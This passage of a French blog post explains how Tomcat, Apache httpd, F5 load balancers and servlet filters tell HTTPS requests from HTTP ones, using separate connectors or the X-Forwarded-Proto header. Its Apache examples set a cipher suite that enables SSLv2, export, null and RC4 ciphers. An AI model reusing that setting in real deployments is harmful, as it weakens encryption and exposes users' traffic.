    http://www.springframework.org/schema/security http://www.springframework.org/schema/security/spring-security-2.0.xsd
   ">
   <sec:http auto-config="true">
      <sec:intercept-url pattern="/services/**" requires-channel="https" access="IS_AUTHENTICATED_FULLY" />
   </sec:http>
</beans>

Configuration Spring Security forçant SSL

API Servlet

L’API Servlet offre une approche déclarative similaire dans le fichier web.xml avec l’instruction <transport-guarantee>CONFIDENTIAL</transport-guarantee> qui repose elle aussi sur ServletRequest.isSecure().

<web-app
   xmlns="http://java.sun.com/xml/ns/javaee"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
   version="2.5">
   ...
   <security-constraint>
      <web-resource-collection>
         <web-resource-name>restricted web services</web-resource-name>
         <url-pattern>/services/*</url-pattern>
      </web-resource-collection>
      <user-data-constraint>
         <transport-guarantee>CONFIDENTIAL</transport-guarantee>
      </user-data-constraint>
   </security-constraint>
   ...
</web-app>

Configuration web.xml forçant SSL

Comment transmettre au moteur de servlet l’information qu’une requête est sécurisée (SSL) ?

Puisqu’il existe deux ports standards respectivement réservés au HTTP et au HTTPS, le standard des serveurs J2EE est d’utiliser une approche multi-canaux dans laquelle un port est réservé au canal sécurisé via HTTPS et l’autre non sécurisé via HTTP.
Avec la généralisation des proxy, des load-balancers et des cartes accélératrices SSL, il est maintenant fréquent que les requêtes HTTPS soient décryptées bien avant les serveurs JavaEE sur lesquels elles arrivent en clair.

Il existe alors deux approches pour différencier les requêtes HTTP et HTTPS :

• S’inspirer de la différenciation de ports utilisés par HTTPS et HTTP en faisant emprunter des canaux différents aux requêtes sécurisées et non sécurisées, même après le décryptage des premières.
• S’inspirer de l’ajout par les proxys du header X-Forwarded-For pour propager l’adresse IP de l’appelant (cf Tomcat : Adresse IP de l’internaute, load balancer, reverse proxy et header Http X-Forwarded-For) et introduire un header X-Forwarded-Proto pour indiquer le protocole utilisé.

Configuration multi-canaux : utiliser des connecteurs/ports différents

L’approche historique de Tomcat pour différencier les requêtes qui sont entrées en HTTPS de celles qui sont entrées en HTTP est de définir plusieurs connecteurs. Cette approche permet aussi bien de gérer l’encryption SSL dans Tomcat que, depuis la version 6, de la faire en amont dans le serveur web ou un load balancer hardware par exemple. Dans ce deuxième cas, un connecteur est configuré pour recevoir des communications en HTTP tout en valorisant request.isSecure() à true et request.getScheme() à https.

Hélas, cette configuration rend la gestion de requêtes sécurisées non SSL (<Connector ... secure="true" scheme="http" />) très délicate, car la spécification Servlet stipule que le conteneur doit émettre un cookie de session ‘secure’ si la requête HTTP à l’occasion de laquelle la session a été créée est ‘request.secure = true’.
Le problème vient du fait que des clients HTTP comme Jakarta Commons Http Client traitent automatiquement les connections non SSL comme non sécurisées et ne renvoient donc pas le cookie JSESSIONID pour les appels non SSL même si celui ci a été défini comme secure par le conteneur. La définition de requêtes comme sécurisée mais non SSL est alors incompatible avec l’utilisation de sessions http avec une erreur très difficile à diagnostiquer. Du fait de ce problème, nous ne traiterons pas dans ce billet de la configuration Tomcat multi-canaux pour gérer les requêtes sécurisées qui n’utilisent pas SSL.

Exemple de configuration Tomcat multi-connecteurs pour dissocier les requêtes HTTP de requêtes HTTPS :

<server>
   ...
   <Service name="Catalina">
      <!-- Connecteur pour les requêtes non SSL -->
      <Connector ... scheme="http" />
      <!-- Connecteur pour les requêtes SSL -->
      <Connector ... secure="true" scheme="https" />
      ...
</server>

Extrait de server.xml utilisant les attributs secure et scheme pour différencier les requêtes SSL

Configuration mono-canal avec header HTTP : utiliser le header X-Forwarded-Proto

Une autre approche, disponible dès le prochain Tomcat 6.0.21, est d’utiliser un header http pour indiquer si le protocole était http ou https. Ce header est communément nommé X-Forwarded-Proto: https|http (Microsoft Internet Security and Acceleration Server utilise Front-End-HTTPS:on|off). Ce header est souvent associé au header X-Forwarded-For déjà utilisé par les load balancers et proxys pour transmettre l’adresse IP de l’appelant.

Pour prévenir tout ‘spoofing‘ des requêtes, il faut s’assurer que les points d’entrée HTTP/HTTPS de la plate-forme écrasent la valeur de ce header http X-Forwarded-Proto avec le protocole utilisé (http ou https) ; il s’agit de supprimer les headers nommés X-Forwarded-Proto s’ils existent et d’en insérer un nouveau ; omettre l’étape de suppression des headers X-Forwarded-Proto éventuellement existants serait une faille de sécurité.

Gestion du header X-Forwarded-Proto avec une valve Tomcat

La solution la plus simple pour gérer le header X-Forwarded-Proto sur un serveur Tomcat est de déclarer la valve RemoteIpValve dans le serveur Tomcat :

1. En attendant Tomcat 6.0.21 qui embarquera la RemoteIpValve, télécharger xebia-tomcat-extras-1.0.0.jar ou compiler RemoteIpValve.java et déployer le jar sous TOMCAT_HOME/lib.
2. Déclarer la RemoteIpValve (doc) dans server.xml. Cette valve doit être déclarée avant les autres valves qui s’appuient sur le protocole ou l’adresse IP de l’internaute. Il est possible de déclarer aussi la SecuredRemoteAddressValve (doc, également incluse dans xebia-tomcat-extras-1.0.0.jar) pour bénéficier du mécanisme de requête sécurisée non SSL :

<Server ...>
   ...
   <Service name="Catalina">
      <Connector ... />
      <Engine ...>
         <!-- Process x-Forwarded-For to get remote address and X-Forwarded-Proto to identify SSL requests -->
         <Valve className="org.apache.catalina.connector.RemoteIpValve" protocolHeader="X-Forwarded-Proto" />
         <!-- Flag as secure all requests coming from private network IP address blocks. Must be declared after RemoteIpValve -->
         <Valve className="org.apache.catalina.connector.SecuredRemoteAddressValve" />
         <!-- AccessLogValve must be declared after RemoteIpValve to get the remote address and the scheme https/http -->
         <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" pattern="common" prefix="access_log."
            resolveHosts="false" suffix=".txt" />
         ...
         </Host>
      </Engine>
   </Service>
</Server>

Gestion de SSL et des communications sécurisées avec des valves Tomcat

Gestion du header X-Forwarded-Proto avec un filtre Servlet API

Si vous ne pouvez pas changer la configuration Tomcat ou si vous utilisez un autre moteur de servlet (Glassfish, Websphere, Weblogic, etc), il est possible de gérer le header X-Forwarded-For grâce à un Servlet Filter de l’application web :

1. Télécharger xebia-servlet-extras-1.0.2.jar, compiler XForwardedFilter.java ou ajouter la dépendance maven fr.xebia.web.extras:xebia-servlet-extras:1.0.2 à votre pom.xml (doc).
2. Déclarer XForwardedFilter (doc) dans web.xml Cet filtre doit être déclaré avant les autres filtres qui s’appuient sur le protocole ou l’adresse IP de l’internaute. Il est possible de déclarer aussi le SecuredRemoteAddressFilter (doc, intégré dans xebia-servlet-extras-1.0.2.jar) pour gérer les requêtes sécurisées non SSL :

<web-app ...>
   ...
   <filter>
      <filter-name>XForwardedFilter</filter-name>
      <description>Process x-Forwarded-For to get remote address and X-Forwarded-Proto to identify SSL requests</description>
      <filter-class>fr.xebia.servlet.filter.XForwardedFilter</filter-class>
      <init-param>
         <param-name>protocolHeader</param-name>
         <param-value>x-forwarded-proto</param-value>
      </init-param>
   </filter>
   <filter>
      <filter-name>SecuredRemoteAddressFilter</filter-name>
      <description>Flag as secure all requests coming from private network IP address blocks.
Must be declared after XForwardedFilter</description>
      <filter-class>fr.xebia.servlet.filter.SecuredRemoteAddressFilter</filter-class>
   </filter>
   <filter-mapping>
      <filter-name>XForwardedFilter</filter-name>
      <url-pattern>/*</url-pattern>
      <dispatcher>REQUEST</dispatcher>
   </filter-mapping>
   <filter-mapping>
      <filter-name>SecuredRemoteAddressFilter</filter-name>
      <url-pattern>/*</url-pattern>
      <dispatcher>REQUEST</dispatcher>
   </filter-mapping>
   ...
</web-app>

Gestion de SSL et des communications sécurisées avec des Servlet Filters

Mise en oeuvre multi-canaux et header X-Forwarded-Proto suivant les topologies Tomcat

Topologie Load Balancer Hardware Apache Httpd Tomcat

Il est très fréquent, lorsqu’une application web doit être hautement disponible, de faire précéder les serveurs web d’un Load Balancer Hardware qui devient alors un Single Point Of Failure extrêmement fiable. Nous prendrons pour ce paragraphe l’hypothèse que le load balancer hardware prend en charge l’encryption HTTPS.

Remarque SSL et load balancer

La pertinence de gérer SSL dans le load balancer est très discutée ; certains y sont farouchement opposés (cf loadbalancing.org), d’autres sont plus mesurés (c.f. HAProxy) et enfin les vendeurs de load balancers hardware y sont très favorables . Ce débat, qui porte aussi sur la pertinence de déléguer la compression (aka gzip ou deflate) au load balancer, dépasse le cadre de ce billet et le domaine de compétence des architectes applicatifs. Pour aller plus loin, nous vous recommandons Making applications scalable with Load Balancing de Willy Tarreau (HA Proxy).

Remarque Apache et mod_proxy_http

Nous utiliserons dans ce billet Apache Httpd en version 2.2.11 avec le connecteur mod_proxy_http / mod_proxy_balancer. Il serait également possible d’utiliser le protocole AJP (avec mod_jk, mod_proxy_ajp ou mod_cluster) ; nous expliquerons notre préférence pour mod_proxy_http dans un prochain billet.

Gestion du paramètre X-Forwarded-Proto dans les load balancers

L’utilisation du header X-Forwarded-Proto nécessite une configuration très simple : le load balancer valorise le header X-Forwarded-Proto, les serveurs web et Tomcat écoutent sur un seul port et la RemoteIpValve Tomcat (ou le XForwardedFilter) traite le header X-Forwarded-Proto pour valoriser request.isSecure() et request.getScheme() .

Note : cette approche permet très facilement de gérer les communications sécurisées non SSL en utilisant une SecuredRemoteAddressValve Tomcat (ou un SecuredRemoteAddressFilter) qui marquera request.isSecure() des requêtes non SSL émises depuis des plages d’adresses IP pré-déterminées.

Sur un F5 Big-IP, le header X-Forwarded-Proto sera défini grâce à une iRule de type :

when HTTP_REQUEST {
   HTTP::header remove X-Forwarded-Proto
   HTTP::header insert X-Forwarded-Proto http
}
when HTTPS_REQUEST {
   HTTP::header remove X-Forwarded-Proto
   HTTP::header insert X-Forwarded-Proto https
}

Source : F5 DevCentral wiki – HTTP::header

Astuce Big-IP iRules: ‘remove’ versus ‘replace’

Par rigueur, nous avons préféré utiliser HTTP::header remove puis HTTP::header insert plutôt que HTTP::header replace qui ne traite que la première occurence du header. Si une personne malveillante injecte plusieurs headers X-Forwarded-Proto, HTTP::header replace n’écrasera que la première occurence alors que le duo HTTP::header remove & HTTP::header insert les supprimera toutes avant d’en insérer une valide.

La configuration du serveur Http est alors triviale, il suffit d’écouter sur le seul port 80 et de transmettre au serveur Tomcat en passe plat.

..
# 'myapplication' cluster
<Proxy balancer://myapplication>
   BalancerMember      http://node-1:8080 route=node-1
   ...
   BalancerMember      http://node-n:8080 route=node-n
</Proxy>
ProxyPreserveHost On
ProxyPass /mypath balancer://myapplication/mypath stickysession=JSESSIONID

Configuration Apache httpd.conf

Gestion multi-canaux depuis le load balancer

La configuration multi-canaux du load balancer nécessite une configuration plus lourde des serveurs Apache et Tomcat puisque le nombre de canaux (port d’écoute, etc) est doublé.

# 'myapplication' non ssl and ssl clusters
<Proxy balancer://myapplication>
   BalancerMember      http://node-1:8080 route=node-1
   ...
   BalancerMember      http://node-n:8080 route=node-n
</Proxy>
<Proxy balancer://myapplicationssl>
   BalancerMember      http://node-1:8083 route=node-1
   ...
   BalancerMember      http://node-n:8083 route=node-n
</Proxy>
<VirtualHost default:80>
   ...
   ProxyPreserveHost On
   ProxyPass /mypath balancer://myapplication/mypath stickysession=JSESSIONID
   ...
</VirtualHost>
<VirtualHost default:83>
   ...
   ProxyPreserveHost On
   ProxyPass /mypath balancer://myapplicationssl/mypath stickysession=JSESSIONID
   ...
</VirtualHost>

Configuration Apache httpd.conf multi canaux

Topologie Apache Httpd – Tomcat

Gestion du paramètre X-Forwarded-Proto dans Apache

Bien qu’il soit possible de décrypter SSL sur les serveur web Apache Httpd, nous préférons largement la déléguer au load balancer pour les raisons suivantes :

• Sécurité : la passphrase d’un certificat SSL est un secret très sensible qu’il est plus facile de gérer sur un nombre très limité de load balancers à l’accès très restreint plutôt que sur les serveurs web qui sont plus nombreux et sur lesquels de nombreuses équipes interviennent. Il est certes possible de protéger la passphrase d’un serveur Apache en limitant l’acccès au user root mais on voit souvent sur le terrain le user root de serveur web utilisé par beaucoup d’intervenants pour faciliter le travail au quotidien. Il est beaucoup plus simple de limiter les accès sur des serveurs ultra spécialisés comme les load balancers.
• Performance : HTTPS est très consommateur en CPU et son tuning est délicat (réutilisation des sessions SSL, etc). Pour plus de détails, Apache Con EU 2008 – Apache Performance Tuning par Sander Temme.
• Simplicité : grâce à l’utilisation d’un header X-Forwarded-Proto pour indiquer le protocole utilisé, la configuration du serveur se limite au seul port d’écoute 80.

Si vous avez malgré tout besoin de décrypter HTTPS dans les serveurs web, voici un exemple de configuration Apache Httpd.

# 'myapplication' cluster
<Proxy balancer://myapplication>
   BalancerMember      http://node-1:8080 route=node-1
   ...
   BalancerMember      http://node-n:8080 route=node-n
</Proxy>
<VirtualHost default:80>
# Declare X-Forwarded-Proto as "http" for incoming request
RequestHeader set X-Forwarded-Proto "http"
...
</VirtualHost>
<VirtualHost default:443>
# mod_ssl configuration
SSLEngine on
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
SSLCertificateFile "/private/etc/apache2/server.crt"
SSLCertificateKeyFile "/private/etc/apache2/server.key"
# Overwrite X-Forwarded-Proto declaration for port 443, request are "https"
RequestHeader set X-Forwarded-Proto "https"
...
</VirtualHost>
..
ProxyPreserveHost On
ProxyPass /mypath balancer://myapplicationssl/mypath stickysession=JSESSIONID

Configuration Apache httpd.conf portant le header X-Forwarded-Proto

Remarque Apache Httpd : Il n’est pas possible de déclarer deux points de configuraiton pour un même <VirtualHost />, par conséquent, si votre configuration référence un fragment extra/httpd-ssl.conf pour gérer SSL, vous devez modifier ce fragment pour ajouter la directive RequestHeader set ..., plutôt que d’utiliser un fragment ‘maison’ extra/httpd-myconfig.conf.

Gestion multi-réseaux

La gestion multi-réseaux avec Apache n’est pas particulièrement compliquée mais introduit une duplication de code verbeux qu’il est agréable d’éviter car il faut déclarer deux balancers qui ne diffèrent que par leur port d’écoute.

# 'myapplication' non ssl and ssl clusters
<Proxy balancer://myapplication>
   BalancerMember      http://node-1:8080 route=node-1
   ...
   BalancerMember      http://node-n:8080 route=node-n
</Proxy>
<Proxy balancer://myapplicationssl>
   BalancerMember      http://node-1:8083 route=node-1
   ...
   BalancerMember      http://node-n:8083 route=node-n
</Proxy>
<VirtualHost default:80>
   ...
   ProxyPreserveHost On
   ProxyPass /mypath balancer://myapplication/mypath stickysession=JSESSIONID
   ...
</VirtualHost>
<VirtualHost default:443>
   SSLEngine on
   SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
   SSLCertificateFile "/private/etc/apache2/server.crt"
   SSLCertificateKeyFile "/private/etc/apache2/server.key"
   ...
   ProxyPreserveHost On
   ProxyPass /mypath balancer://myapplicationssl/mypath stickysession=JSESSIONID
   ...
</VirtualHost>

Configuration Apache httpd.conf multi canaux

Tomcat seul

L’utilisation de Tomcat seul, sans serveur web ni load balancer en amont, simplifie le choix. Tomcat écoute à la fois en http et https (généralement respectivement les ports 80 et 443). Seule l’approche multi-connecteurs s’applique. La littérature regorge de mises en oeuvre de SSL avec Tomcat. Le principal point d’attention est la délégation de l’encryption SSL à OpenSSL grâce au connecteur APR (Http11AprConnector) plutôt que de reposer sur l’implémentation SSL des JVM (JSSE) qui est beaucoup moins performante.

<server>
   ...
   <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" SSLRandomSeed="builtin" />
   ...
   <Service name="Catalina">
      <Connector protocol="org.apache.coyote.http11.Http11AprProtocol"
           port="8443" minSpareThreads="5" maxSpareThreads="75"
           enableLookups="true" disableUploadTimeout="true"
           acceptCount="100"  maxThreads="200"
           scheme="https" secure="true" SSLEnabled="true"
           SSLCertificateFile="/usr/local/ssl/server.crt"
           SSLCertificateKeyFile="/usr/local/ssl/server.pem"
           clientAuth="false" sslProtocol="TLS"/>
      ...
</server>

Extrait de server.xml

Astuce : comment éviter de démarrer le serveur Tomcat avec les privilèges root ?

Sur les serveur Unix/Linux, écouter sur les ports <1024 requiert les privilèges root ; faire écouter un serveur Tomcat sur les ports 80 (http) et 443 (https) devient donc très délicat pour la sécurité de la plate-forme. Une astuce est d'utiliser iptables pour faire du port forwarding de 80 et 443 vers 8080 et 8443. Plus de détails dans Tomcat Wiki - How to run Tomcat without root priviledges? ou Rife - Installing Tomcat on port 80 with iptables.

Que choisir ? Multi-canaux ou header X-Forwarded-Proto ?

Si l'approche multi-canaux avec un premier connecteur pour les communications non http et un second pour les communications https/ssl a le mérite d'être l'approche "historique", elle présente les défauts de :

• ne pas gérer les communications sécurisées non http,
• complexifier sensiblement les configurations Apache Httpd et, dans une moindre mesure, Tomcat.

Notre préférence va à l'utilisation d'un header http X-Forwarded-Proto qui permet de simplifier les configurations Apache Httpd et Tomcat et aussi de permettre des communications sécurisées non SSL.

L'argument d'une complexification de la configuration Tomcat par l'ajout de la RemoteIpValve (ou du XForwardedFilter) est discutable puisque cette valve est la plupart du temps nécessaire pour gérer le header X-Forwarded-For qui permet d'obtenir l'adresse IP de l'internaute, élément important pour l'audit d'actions qui requièrent SSL.

2010/01/31 : Montée de version de xebia-servlet-extras en version 1.0.2 pour corriger Issue 4 - XForwardedFilter : request.secure and request.scheme are not forced to "false" and "http" if X-Forwarded-Proto=http.